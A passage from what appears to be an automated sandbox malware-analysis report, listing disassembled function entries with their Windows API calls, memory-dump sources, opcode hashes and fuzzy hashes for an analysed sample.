[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB8D9DD
registry_get_value, xrefs: 00007FF8BFB8D9D6

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 915b2df0735b1b4a45862a718138cf0af1dd01a469394c247dcd6d9b00ff717d
Instruction ID: df10cc15b72600465b6a6392655c3e9b3b17ac6780dc0cb35f3fc2f4316ce350
Opcode Fuzzy Hash: 915b2df0735b1b4a45862a718138cf0af1dd01a469394c247dcd6d9b00ff717d
Instruction Fuzzy Hash: 29F02422B0830A42EA929F88F8413B97344BF847E4F080236EF4D466D2EF3DD989C300

Function 00007FF8BFB8D9F8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFB8D98D

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB8D9DD
registry_get_value, xrefs: 00007FF8BFB8D9D6

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 14a6f1e05bd0c348ba73e5c5846f41afe97600fefa0b9d78abdf6e0ac06ac377
Instruction ID: a3e958735eb5bca3f5a36b5a9bec07b7e5c898fa3721481621927c0536bb929b
Opcode Fuzzy Hash: 14a6f1e05bd0c348ba73e5c5846f41afe97600fefa0b9d78abdf6e0ac06ac377
Instruction Fuzzy Hash: 27F0B462A0874A42EA92DF88F8417B97354BF847E4F084236EF5D466D6EF3DD989D300

Function 00007FF8BFB8D97C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFB8D98D

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB8D9DD
registry_get_value, xrefs: 00007FF8BFB8D9D6

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 3ef084da799f0a33023c652117027e69e8e15d24725d31172a4b0d0595537e04
Instruction ID: ce2401481d2fc149593c84d06ba7031b2549e4e5465f5b3b382b54af925bbccc
Opcode Fuzzy Hash: 3ef084da799f0a33023c652117027e69e8e15d24725d31172a4b0d0595537e04
Instruction Fuzzy Hash: 9CF02B2260830A42E5529F88F8413B97344BF847E4F080137DF4D466D1DF3DD985C300

Function 00007FF8BFB8D96E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32 ref: 00007FF8BFB8D98D

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB8D9DD
registry_get_value, xrefs: 00007FF8BFB8D9D6

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: Closefflushfwrite
String ID: [E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$registry_get_value
API String ID: 1001908780-1680961811
Opcode ID: 7b4dabeff1d3f2b3154452b78c37af8fb2a924e4141310c203bccd55459aa073
Instruction ID: 3c4d095f3d8c9005d2e9ac2234a5357b54c78f9a33c32730250a648b2c0292d4
Opcode Fuzzy Hash: 7b4dabeff1d3f2b3154452b78c37af8fb2a924e4141310c203bccd55459aa073
Instruction Fuzzy Hash: 66F0F62260820A42E5529F88F8413B97344BF847E4F080136DF4D46691DF2DD985C300

Function 00007FF8BA4F184A Relevance: 3.8, APIs: 3, Instructions: 74sleepCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF8BA4F192B
Sleep.KERNEL32 ref: 00007FF8BA4F1937

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: Sleepmemcpy
String ID:
API String ID: 1125407320-0
Opcode ID: a353561d76903494636ec477018f7265d0b2c6ffd32db1de9122ce1526666027
Instruction ID: a214a89aa3aa68b767981fce7a8c01b72e9dcd555da6b1c3cdaab1a0710540b2
Opcode Fuzzy Hash: a353561d76903494636ec477018f7265d0b2c6ffd32db1de9122ce1526666027
Instruction Fuzzy Hash: 9C313E20E0C70782F6305BADEC942786251AF463F0F5453B6DF7E466E1DE2EA649D680

Function 00007FF8B915184A Relevance: 3.8, APIs: 3, Instructions: 74sleepCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF8B915192B
Sleep.KERNEL32 ref: 00007FF8B9151937

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Sleepmemcpy
String ID:
API String ID: 1125407320-0
Opcode ID: 3d3b53d04c772b8df934e6e75b7e7394d6e1c1ef4915e661cc7242475e802ccf
Instruction ID: 3b5380edf9031800730bb6fd5d6ffaf9694a42cf0b797924d49445e63259c68a
Opcode Fuzzy Hash: 3d3b53d04c772b8df934e6e75b7e7394d6e1c1ef4915e661cc7242475e802ccf
Instruction Fuzzy Hash: B8312B25E0868392F6325FACE8942782251AF443F0F214735DB7D466E5CE2CF98AF640

Function 00007FF8B918EF2A Relevance: 3.8, APIs: 3, Instructions: 74sleepCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF8B918F00B
Sleep.KERNEL32 ref: 00007FF8B918F017

Memory Dump Source

Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: Sleepmemcpy
String ID:
API String ID: 1125407320-0
Opcode ID: 0cb8941dfc163a413c5ab916b78a3d17a0994cdb19c6253a22ed711d911a51f6
Instruction ID: 0d92a77e8aa1d7bbe763f043219c3183562da79cfec2b515fd25baf78f50a1ac
Opcode Fuzzy Hash: 0cb8941dfc163a413c5ab916b78a3d17a0994cdb19c6253a22ed711d911a51f6
Instruction Fuzzy Hash: 30312120E1C68283F630AF2CE8C52792652AF457F0F650331EB7D566E3DE2DA9467781

Function 00007FF8BFB5364A Relevance: 3.8, APIs: 3, Instructions: 74sleepCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF8BFB5372B
Sleep.KERNEL32 ref: 00007FF8BFB53737

Memory Dump Source

Source File: 00000016.00000002.3158634294.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.3158612916.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158658328.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158682587.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158717664.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158748673.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158773276.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: Sleepmemcpy
String ID:
API String ID: 1125407320-0
Opcode ID: 992cbff283cf5bc95ae1a3ea0b4319c7fbf54e715062f432e6d1e15d965cf2f6
Instruction ID: 9379432b5bc0e6ab582c44bcf956020c76fd09851529afa3726c9ddb959def9e
Opcode Fuzzy Hash: 992cbff283cf5bc95ae1a3ea0b4319c7fbf54e715062f432e6d1e15d965cf2f6
Instruction Fuzzy Hash: 1B315962E0C64292FA609BECE8A52787352AF447F0F18033AD77D067E1DE2CF555A650

Function 00007FF8BFB89B0A Relevance: 3.8, APIs: 3, Instructions: 74sleepCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF8BFB89BEB
Sleep.KERNEL32 ref: 00007FF8BFB89BF7

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: Sleepmemcpy
String ID:
API String ID: 1125407320-0
Opcode ID: 1b707f5b76f673626582b9472a17c46eb626fd6209ef41941f1a1b7c5a8a998a
Instruction ID: c6bc02626b61f004f88f23012105a7d6373844b016c3c864ea471cb8de1c5aaf
Opcode Fuzzy Hash: 1b707f5b76f673626582b9472a17c46eb626fd6209ef41941f1a1b7c5a8a998a
Instruction Fuzzy Hash: 0E315C25E0D75B82FA6097EDE8882782355AFC1BF4F144331D77E46AE2DE2DA841D600

Function 00007FF6BE03886D Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BE031360: GetModuleHandleExA.KERNEL32(?,?,?,?,?,?,00007FF6BE0384AF), ref: 00007FF6BE03137E

SleepEx.KERNEL32 ref: 00007FF6BE0388DC

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: HandleModuleSleep
String ID:
API String ID: 1071907932-0
Opcode ID: ebcfc3099e72364c31fa6fcd18c915c859bbb365beea9433ade7ab1f37a8b2e3
Instruction ID: a3e9e94015ba8e971605898b0e60413f8aff8fad3f4eb5b1cbabede9be92208d
Opcode Fuzzy Hash: ebcfc3099e72364c31fa6fcd18c915c859bbb365beea9433ade7ab1f37a8b2e3
Instruction Fuzzy Hash: 6E01A422B1C64392F7B15718E450BBA22A1EBAC384F540070F70ECBBD5EE6CE965D360

Function 00007FF6BE032989 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF6BE032715
_errno.MSVCRT ref: 00007FF6BE0327B7
_errno.MSVCRT ref: 00007FF6BE0327D2
_errno.MSVCRT ref: 00007FF6BE03294C
_errno.MSVCRT ref: 00007FF6BE032967
fread.MSVCRT ref: 00007FF6BE0329EA
GetProcessHeap.KERNEL32 ref: 00007FF6BE032A1F
HeapFree.KERNEL32 ref: 00007FF6BE032A32

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: _errno$Heap$FreeProcessfclosefread
String ID:
API String ID: 4240746492-0
Opcode ID: 0f4c820b4593ff6fa6eb4d1d7b985b18c40b22b35b228e74236585271f35355d
Instruction ID: ae871da1da499783c0e851cf84f3d36887d7ea1900ae3c91acf3a577669ff835
Opcode Fuzzy Hash: 0f4c820b4593ff6fa6eb4d1d7b985b18c40b22b35b228e74236585271f35355d
Instruction Fuzzy Hash: 03E0DF41B2829303FA70496D1040F3506822F7C388F165830EF0EE62EADD3EE4220800

Function 00007FF6BE032990 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF6BE032715
_errno.MSVCRT ref: 00007FF6BE0327B7
_errno.MSVCRT ref: 00007FF6BE0327D2
_errno.MSVCRT ref: 00007FF6BE03294C
_errno.MSVCRT ref: 00007FF6BE032967
fread.MSVCRT ref: 00007FF6BE0329EA
GetProcessHeap.KERNEL32 ref: 00007FF6BE032A1F
HeapFree.KERNEL32 ref: 00007FF6BE032A32

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: _errno$Heap$FreeProcessfclosefread
String ID:
API String ID: 4240746492-0
Opcode ID: 93779f5a2cdb3e04165489ec7973de93b07f8438cdc681d7751f1fbd96d9f5de
Instruction ID: 7bea1511188c1834aaedc09f566207b690dd49adcab1abf1c7cc80eee3d2e3d4
Opcode Fuzzy Hash: 93779f5a2cdb3e04165489ec7973de93b07f8438cdc681d7751f1fbd96d9f5de
Instruction Fuzzy Hash: 75E04F41B2869303FA74496D1540F7606926F7D788F165831EF0EE66EADD3EE4625800

Function 00007FF6BE032982 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF6BE032715
_errno.MSVCRT ref: 00007FF6BE0327B7
_errno.MSVCRT ref: 00007FF6BE0327D2
_errno.MSVCRT ref: 00007FF6BE03294C
_errno.MSVCRT ref: 00007FF6BE032967
fread.MSVCRT ref: 00007FF6BE0329EA
GetProcessHeap.KERNEL32 ref: 00007FF6BE032A1F
HeapFree.KERNEL32 ref: 00007FF6BE032A32

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: _errno$Heap$FreeProcessfclosefread
String ID:
API String ID: 4240746492-0
Opcode ID: d9839dda6aa00f83f1b280c0522c91c52a71f8d5d8a1992868c318b81a1566b1
Instruction ID: 80c2ecf1bd7b7d9b8c530c20d9ba195492c7dab0b6d192278a2b949ac31730ac
Opcode Fuzzy Hash: d9839dda6aa00f83f1b280c0522c91c52a71f8d5d8a1992868c318b81a1566b1
Instruction Fuzzy Hash: 61E04F41B2869303FA74496D5540F7506927F7D784F165831EF0EE66EADD3EE4625800

Function 00007FF6BE032997 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF6BE032715
_errno.MSVCRT ref: 00007FF6BE0327B7
_errno.MSVCRT ref: 00007FF6BE0327D2
_errno.MSVCRT ref: 00007FF6BE03294C
_errno.MSVCRT ref: 00007FF6BE032967
fread.MSVCRT ref: 00007FF6BE0329EA
GetProcessHeap.KERNEL32 ref: 00007FF6BE032A1F
HeapFree.KERNEL32 ref: 00007FF6BE032A32

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: _errno$Heap$FreeProcessfclosefread
String ID:
API String ID: 4240746492-0
Opcode ID: 5eb821edd3b4ac3d11fb5a8a8cf5f479bd344658574371c11ea2e3b3b9955ca5
Instruction ID: 5047c9a687a6a10307323a37f911406188e53d86d79999c42ad929f5bd4b4dd4
Opcode Fuzzy Hash: 5eb821edd3b4ac3d11fb5a8a8cf5f479bd344658574371c11ea2e3b3b9955ca5
Instruction Fuzzy Hash: 74E04F41B2869303FA74496D5540F7506926F7D788F165831EF0EE66EADE3EE4625800

Function 00007FF6BE03299E Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF6BE032715
_errno.MSVCRT ref: 00007FF6BE0327B7
_errno.MSVCRT ref: 00007FF6BE0327D2
_errno.MSVCRT ref: 00007FF6BE03294C
_errno.MSVCRT ref: 00007FF6BE032967
fread.MSVCRT ref: 00007FF6BE0329EA
GetProcessHeap.KERNEL32 ref: 00007FF6BE032A1F
HeapFree.KERNEL32 ref: 00007FF6BE032A32

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: _errno$Heap$FreeProcessfclosefread
String ID:
API String ID: 4240746492-0
Opcode ID: 06b5753a0f2153fadecf8515356ede5123c149dc1559c95b793d2786b5db2776
Instruction ID: a2a5f377581ae43633a8c065204ae5726e21cf9e29637e663a4544bb63d7892b
Opcode Fuzzy Hash: 06b5753a0f2153fadecf8515356ede5123c149dc1559c95b793d2786b5db2776
Instruction Fuzzy Hash: 37E04F41B2869303FA7449AD1540F7506926F7D788F165831EF0EE66EADD3EE4625800

Function 00007FF6BE0329FE Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF6BE032715
_errno.MSVCRT ref: 00007FF6BE0327B7
_errno.MSVCRT ref: 00007FF6BE0327D2
_errno.MSVCRT ref: 00007FF6BE03294C
_errno.MSVCRT ref: 00007FF6BE032967
fread.MSVCRT ref: 00007FF6BE0329EA
GetProcessHeap.KERNEL32 ref: 00007FF6BE032A1F
HeapFree.KERNEL32 ref: 00007FF6BE032A32

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: _errno$Heap$FreeProcessfclosefread
String ID:
API String ID: 4240746492-0
Opcode ID: eca8601a8072f10b742a6ea828dc9ef14cccec53e02c73ff1a62bffbaf347bab
Instruction ID: 4c61293dba1c70e36329c5365de070c2fca33edcf8843dec4ca5032dae75259f
Opcode Fuzzy Hash: eca8601a8072f10b742a6ea828dc9ef14cccec53e02c73ff1a62bffbaf347bab
Instruction Fuzzy Hash: 97E0DF01B2828203FA7049AE2440F3506826F7C388F165831EF0EE62EACD3EE4220800

Function 00007FF6BE0381E0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetServiceStatus.SECHOST ref: 00007FF6BE038205

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
